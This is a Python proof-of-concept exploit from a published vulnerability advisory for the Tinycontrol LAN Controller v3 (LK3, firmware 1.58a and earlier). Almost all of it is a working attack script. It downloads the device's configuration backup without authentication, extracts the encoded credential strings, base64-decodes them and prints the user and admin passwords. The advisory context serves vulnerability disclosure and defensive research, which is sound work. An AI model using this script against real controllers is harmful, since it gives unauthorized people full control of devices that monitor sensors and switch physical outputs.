#!/usr/bin/env python
#
#
# Tinycontrol LAN Controller v3 (LK3) Remote Credentials Extraction PoC
#
#
# Vendor: Tinycontrol
# Product web page: https://www.tinycontrol.pl
# Affected version: <=1.58a, HW 3.8
#
# Summary: Lan Controller is a very universal
# device that allows you to connect many different
# sensors and remotely view their readings and
# remotely control various types of outputs.
# It is also possible to combine both functions
# into an automatic if -> this with a calendar
# when -> then. The device provides a user interface
# in the form of a web page. The website presents
# readings of various types of sensors: temperature,
# humidity, pressure, voltage, current. It also
# allows you to configure the device, incl. event
# setting and controlling up to 10 outputs. Thanks
# to the support of many protocols, it is possible
# to operate from smartphones, collect and observ
# the results on the server, as well as cooperation
# with other I/O systems based on TCP/IP and Modbus.
#
# Desc: An unauthenticated attacker can retrieve the
# controller's configuration backup file and extract
# sensitive information that can allow him/her/them
# to bypass security controls and penetrate the system
# in its entirety.
#
# Tested on: lwIP
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2023-5786
# Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php
#
#
# 18.08.2023
#
#
import subprocess
import requests
import base64
import sys
binb = "lk3_settings.bin"
outf = "lk3_settings.enc"
bpatt = "0upassword"
epatt = "pool.ntp.org"
startf = False
endf = False
extral = []
print("""
O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O
| |
| Tinycontrol LK3 1.58 Settings DL |
| ZSL-2023-5786 |
| 2023 (c) Zero Science Lab |
| |
|`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'|
| |
""")
if len(sys.argv) != 2:
print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0]))
exit(-0)
else:
rhost=sys.argv[1]
if not "http" in rhost:
rhost="http://{}".format(rhost)
try:
resp = requests.get(rhost + "/" + binb)
if resp.status_code == 200:
with open(outf, 'wb') as f:
f.write(resp.content)
print(f"[*] Got data as {outf}")
else:
print(f"[!] Backup failed. Status code: {resp.status_code}")
except Exception as e:
print("[!] Error:", str(e))
exit(-1)
binf = outf
sout = subprocess.check_output(["strings", binf], universal_newlines = True)
linea = sout.split("\n")
for thricer in linea:
if bpatt in thricer:
startf = True
elif epatt in thricer:
endf = True
elif startf and not endf:
extral.append(thricer)
if len(extral) >= 4:
userl = extral[1].strip()
adminl = extral[3].strip()
try:
decuser = base64.b64decode(userl).decode("utf-8")
decadmin = base64.b64decode(adminl).decode("utf-8")
print("[+] User password:", decuser)
print("[+] Admin password:", decadmin)
except Exception as e:
print("[!] Error decoding:", str(e))
else:
print("[!] Regex failed.")
exit(-2)